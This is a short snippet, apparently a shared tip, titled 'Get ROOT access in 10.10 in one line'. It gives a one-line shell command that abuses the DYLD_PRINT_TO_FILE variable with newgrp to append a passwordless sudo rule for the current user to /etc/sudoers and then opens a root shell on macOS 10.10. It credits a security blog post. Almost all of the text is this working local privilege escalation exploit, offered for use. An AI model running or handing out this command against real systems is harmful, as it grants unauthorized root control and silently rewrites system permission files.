Get ROOT access in 10.10 in one line

echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s

Found on

https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html